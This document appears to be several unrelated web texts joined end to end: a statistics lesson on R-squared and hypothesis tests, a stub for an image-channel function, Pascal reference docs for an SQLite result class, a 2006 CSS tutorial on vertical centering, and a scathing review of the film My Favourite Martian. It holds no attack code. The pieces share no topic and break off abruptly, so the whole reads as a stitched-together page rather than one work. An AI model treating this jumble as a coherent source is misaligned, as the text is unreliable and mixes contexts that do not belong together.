\[R^2: 0\% \text{ (no link) <--------------- } 50\% \text{(Statistical Link) ---------------> }100\%\text{ (Perfect Link)}\]
The definition and interpretation of R_sq
is a very important tool in the data analyst’s tool kit for tracking connections between a measured response variable and a measured explanatory variable.
We can put those ideas into our DA Methodology frameworks as shown below.
🤓💡 Note that you will hardly ever be in the situation in which \(R^2\) would be so close to zero that would make you conclude that on the basis of the sample evidence used in IDA it is possible to conclude that there is no relationship between the two variables. If \(R^2\) value is very small (for example around \(2\%\)) this would need to be further tested to conclude if it is statistically significant based on the sample evidence by applying FDA.
Further Data Analysis
If the ‘Initial Data Analysis’ is inconclusive then ‘Further Data Analysis’ is required.
The ‘Further Data Analysis’ is a procedure that enables a decision to be made, based on the sample evidence, as to one of two outcomes:
- There is no relationship
- There is a relationship
These statistical procedures are called hypothesis tests, which essentially provide a decision rule for choosing between one of the two outcomes: “There is no relationship” or “There is a relationship” based on the sample evidence.
All hypothesis tests are carried out in four stages:
Stage 1: Specifying the hypotheses.
Stage 2: Defining the test parameters and the decision rule.
Stage 3: Examining the sample evidence.
Stage 4: The conclusions.
Statistical Models used in FDA
Measured Response v Attribute Explanatory Variable with exactly two levels:
Measured Response v Attribute Explanatory Variable with more than two levels:
Measured Response v Measured Explanatory Variable
YOUR TURN 👇
Make sure you can answer the following questions:
What are the underlying ideas that enable a relationship between two variables to be investigated?
What is the purpose of summary statistics?
What is the data analysis methodology for exploring the relationship between:
a measured response variable and an attribute explanatory variable?
a measured response variable and a measured explanatory variable?
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bioimg.base.combine_channels¶
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bioimg.base.
combine_channels
(images, colors, blend=None, gamma=None)¶ - Parameters
- imageslist
List of np.array (image arrays). List elements are interpreted as individual color channels
- colorslist of strings
List of color names: one of red, orange, yellow, green, cyan, blue, purple, magenta, white
- blendlist of floats (optional)
Controls color blending in the image overlay
- gammalist or array (optional)
Gamma correction factor for individual images


Class TSQLiteTable
Unit
SQLiteWrap
Declaration
type TSQLiteTable = class(TObject)
Description
Class for handling SQLite query result
Hierarchy
Overview
Methods
Properties
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property Fields[I: cardinal]: String read GetFields; |
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property FieldByName[FieldName: String]: String read GetFieldByName; |
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property FieldIndex[FieldName: String]: integer read GetFieldIndex; |
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property Columns[I: integer]: String read GetColumns; |
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property EOF: boolean read FEOF; |
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property ColCount: cardinal read fColCount; |
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property Row: cardinal read fRow; |
Description
Methods
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constructor Create(const DB: TSQLiteDatabase; const SQL: String; PrepareOnly: Boolean = false); |
Class constructor. Called internally by TSQLiteDatabase
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destructor Destroy; override; |
Class descructor. Call Free instead.
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function FieldAsInteger(I: cardinal): int64; |
Read field from current row as integer.
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function FieldAsBlob(I: cardinal): TMemoryStream; |
Read field from current row as blob to memory stream.
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function FieldAsBlobPtr(I: cardinal; out iNumBytes: integer): Pointer; |
Read field from current row as pointer to memory.
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function FieldAsBlobText(I: cardinal): AnsiString; |
Read field from current row as blob to AnsiString.
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function FieldIsNull(I: cardinal): boolean; |
Test if field from current row contains null value.
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function FieldAsString(I: cardinal): String; |
Read field from current row as string.
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function FieldAsDouble(I: cardinal): double; |
Read field from current row as floating-point.
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function Next: boolean; |
Go to next row.
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procedure ParamsClear; |
Reset all query params.
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procedure Reset; |
Reset current result set. After this you can set new query parameters values and call prepared query again by Next
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procedure AddParamInt(const name: String; value: int64); |
Add named query parameter of integer type.
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procedure AddParamFloat(const name: String; value: double); |
Add named query parameter of floating-point type.
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procedure AddParamText(const name: String; const value: String); |
Add named query parameter of string or binary type.
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procedure AddParamNull(const name: String); |
Add named query parameter with null value.
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procedure AddParamBlobPtr(const name: String; buffer: pointer; len: integer); |
Add named query parameter of BLOB type from memory buffer.
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procedure AddParamBlobText(const name: String; const value: AnsiString); |
Add named query parameter of BLOB type from binary string.
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procedure AddParamBlob(const name: String; const value: TStream; len: integer); |
Add named query parameter of BLOB type from stream.
Properties
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property Fields[I: cardinal]: String read GetFields; |
Return value of some field in current row.
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property FieldByName[FieldName: String]: String read GetFieldByName; |
Return value of named field in current row.
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property FieldIndex[FieldName: String]: integer read GetFieldIndex; |
Return index of some named field.
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property Columns[I: integer]: String read GetColumns; |
Return field type of some field.
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property EOF: boolean read FEOF; |
Indicate last row in result set.
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property ColCount: cardinal read fColCount; |
Return number of fields in row.
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property Row: cardinal read fRow; |
Number of current row.
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Demo of middled vertical align
Author: Spenser Lee, Liberty StudioOriginally posted on BlueIdea Forum
Table of centents:
- Single line countainer with/without a fixed height
- Align multi-line container which does not have a fixed height
- Simulating table layout in container with a fixed height
- IE's solution
- A perfect compounded sample
Case One: Single line countainer with/without a fixed height
If you only want to display a container which only holds a single line of text, you can set line-height property to height property, then set overflow to hidden.
Sample:
Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
Core code:
.middle-demo-1{
height: 4em;
line-height: 4em;
overflow: hidden;
}
- Notes:
-
- I strongly recommend you use relative size in height and line-height property. Why? You can simply set the font size larger if your browser support it. When it gets large enough, you will see the countainer is stretched and the height is no longer equal to line-height property, thus, the layout is messed up. Using relative size as em, ex or % will let your countainer stretch with the content.
- overflow: hidden is a must. Why? Same as above. Just ensure height and line-height are always equal.
- Pros:
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- Fits in both block elements and inline elements.
- Capable of all 5th-gen browsers.
- Cons:
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- Text length is limited. Max with only one line.
- Does not work well on none text contents such as images and objects.
Case Two: Align multi-line container which does not have a fixed height
In this case, we should simply set a pair of fixed equivalences to padding-top and padding-bottom attribute. It works on both IE and non-IE browsers.
Sample:
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas dignissim diam eu sem. Proin nunc ante, accumsan sollicitudin, sodales at, semper sed, ipsum. Etiam orci. Vestibulum magna lectus, venenatis nec, tempus ac, dictum vel, lorem.
Core code:
.middle-demo-2{
padding-top: 24px;
padding-bottom: 24px;
}
- Pros:
-
- Fits in both block elements and inline elements.
- Works on none text contents as fine as text contents.
- Capable of all 5th-gen browsers. Might need a little tune-up for the box model bug of IE5 though.
- Cons:
-
- You can not assign height in this solution.
Case Three: Simulating table layout in container with a fixed height
CSS offers a set of very convenient display atrribute values called display: table, display: table-row, display: table-cell and other display values begin with table-. It offers a way to simulate table layout in all elements. As a result, any element with display: table-cell, vertical-align: middle and a fixed height will display exactly like a table cell.
Sample: (You may not be able to view the effect on IE)
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas dignissim diam eu sem. Proin nunc ante, accumsan sollicitudin, sodales at, semper sed, ipsum. Etiam orci. Vestibulum magna lectus, venenatis nec, tempus ac, dictum vel, lorem.
Core code:
.middle-demo-3{
display: table-cell;
height: 300px;
vertical-align: middle;
}
- Notes:
-
- display: table-cell must work with other elements with display: table value sets in order to form a literal table. Or it might cause unexceptable bugs.
- Sadly IE series (including the latest IE 7 beta) does not support any of display: table values, so it won't work in IE.
- Pros:
-
- It has the most perfect render for vertical-align: middle align.
- Cons:
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- It only works in latest versions of non-IE browsers, such as Mozilla, Firefox, Netscape 8, Opera 8, and Safari.
Case Four: IE's solution
Since IE is a lame browser when it comes to ANYTHING, so you can't use the solution above simply because IE does not recognize it at all. However, there has been nothing yet you can not code with CSS if you have already coded it with table. It even offers you possibility to layout your page that tables can not do!
So what's the solution for IE? Like what we always do: Hit IE's back with the BUGS it offers!
Sample: (You are able to view the correct result only on IE)
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas dignissim diam eu sem. Proin nunc ante, accumsan sollicitudin, sodales at, semper sed, ipsum. Etiam orci. Vestibulum magna lectus, venenatis nec, tempus ac, dictum vel, lorem.
.middle-demo-4{
height: 300px;
position: relative;
}
.middle-demo-4 div{
position: absolute;
top: 50%;
left: 0;
}
.middle-demo-4 div div{
position: relative;
top: -50%;
left: 0;
}
See? Don't ask me why it worked.  I won't tell you the theory behind all these. It's my top secret, with which I solved a lot of other cross browser layout problems, and I'm not going to share it with you. But you are free to use this IE hack It's kinda handful in most occassions.
- Pros:
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- The only perfect vertical align method in IE. It works even better then add automatic paddings.
- Cons:
-
- After all it's a CSS hack. We can avoid it if not for IE.
Case Five: A perfect compounded sample
Here's the perfect compounded solution on vertical centering that works on almost all latest browsers.
Sample: (This works on almost all browsers)
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas dignissim diam eu sem. Proin nunc ante, accumsan sollicitudin, sodales at, semper sed, ipsum. Etiam orci. Vestibulum magna lectus, venenatis nec, tempus ac, dictum vel, lorem.
I'm not going to give you the full code of this one. But it's not difficult to write it yourself, with the solution of case 3 and 4, and a little knowledge in IE/non-IE CSS hackers. And actually the hacking style is not limited, so I don't want to force you to use my hacking style neither. Stop being lazy, and write the code yourself!
- Browser capability:
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- Works on: IE6+, Mozilla 1.5+, Netscape Navigator 7+, Opera 7+, Firefox 1.0+ and Safari 1.0+
- On IE5, you might need to apply the box model hacker to make the height correct.
- Untested: WebOmini, Konqueror.
- Fails on: Other browsers not reffered in the list above.
Copyright © Spenser Lee, 2006 Liberty Studio


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My Favourite Martian
Starring Jeff Daniels, Christopher Lloyd, Elizabeth Hurley and Darryl Hannah Directed By Donald Petrie Running Time: 1 hour 33 minutes
(Walt Disney Pictures)
I love movies. I really do. Every time I watch great movies like Goodfellas (1990) or Raiders of the Lost Ark (1981), a tear comes to my eye due to the awesome talent, skill and entertainment that is on display. Even lower grade films such as The Naked Gun 33 1/3 (1994) or Ghostbusters II (1988) while not exactly brilliantly well made, are certainly not a waste of celluloid and present entertainment value. Then there's My Favourite Martian, the exact opposite of what a movie should be: a hurried, poorly written and acted movie with one goal, to make money. Disney, ever since The Lion King (1994) have lost their magic touch, but this dross just shows how far Disney have sunk.
Christopher Lloyd plays a Martian who crash lands in front of T.V reporter's Tim O'Hara car (Daniels), and soon Tim finds the Martian in his home, trying to recover and fix his spaceship. Along with his 'Zoot' spacesuit, voiced by Wayne Knight, must fix his spaceship before it explodes, and also try to stop his identity being revealed to the public, firstly by O'Hara, but later by rival T.V presenter Brace Channing (Hurley), by calling himself Tim's 'Uncle Martin.' 'Laughter' is supposed to arise from the 'comical' events, but never does.
Many bad films have good intentions, but My Favourite Martian doesn't appear to try to provide any entertainment. Filled to the brim with wham bang special effects, My Favourite Martian offers little more than some nice eye candy. Christopher Lloyd mugs his way through the entire movie, I've never seen a man pull a face for 93 minutes until now.  His performance is incredibly lazy, although his paperthin character doesn't deserve more than the performance he gives. Darryl Hannah looks as pretty as ever, but her role is somewhat, erm, limited. Hurley mistakes 'acting' for 'shouting and looking like a twit' and wins the David Wilcock award for 'Most Irritating, Godawful Performance in a Moving Picture.' Way to go Liz! For the supporting cast, Disney manage to assemble every character actor out there, during the film I was going 'he was the guy in...ah..er...' before finally giving up and switching off.
Another major setback is the staple 'comedy sidekick.' Unfortunately, the writers (Sherri Stoner and Deanna Oliver, if anyone cares) forget that a comedy sidekick needs to be 'funny.' Instead, they deliver Zoot, the Martians deeply unfunny sidekick. Although meant to be a manic character no doubt, every line that comes out of his 'neck' is a dud. A real dud.  Even the kids in the audience were insulted by this character: not one child even bothered to smirk. It's a nice special effect, though.
Another problems with this comedy are the gags themselves. Or rather, the lack of them. My Favourite Martian reaches a new level of toilet humour: it goes past the bowl, down the pipe and into the sewer. Now, toilet humour can be funny, as Dumb and Dumber (1994) humorously showed. But here, characters farting, belching and almost getting crapped on (literally) is not 'amusing.' It's insulting. There's one good gag right before the credits, but it appears the guy who wrote that gag tragically died and his unfunny twin continued. Either that, or they were hoping that easy to please six year olds wouldn't mind the fact that his movie is beaten by Men At Work in the funny stakes. Yes, Men At Work. Yowza!
The fact that a lot of money was pumped into this film, and that they actually got people to agree to be in this film just depresses me even more.  Thankfully, as soon as it makes it's money, it will never be seen again, and My Favourite Martian will end up where the two lead characters do near the end of the movie: down the toilet.
RATING=* OUT OF *****
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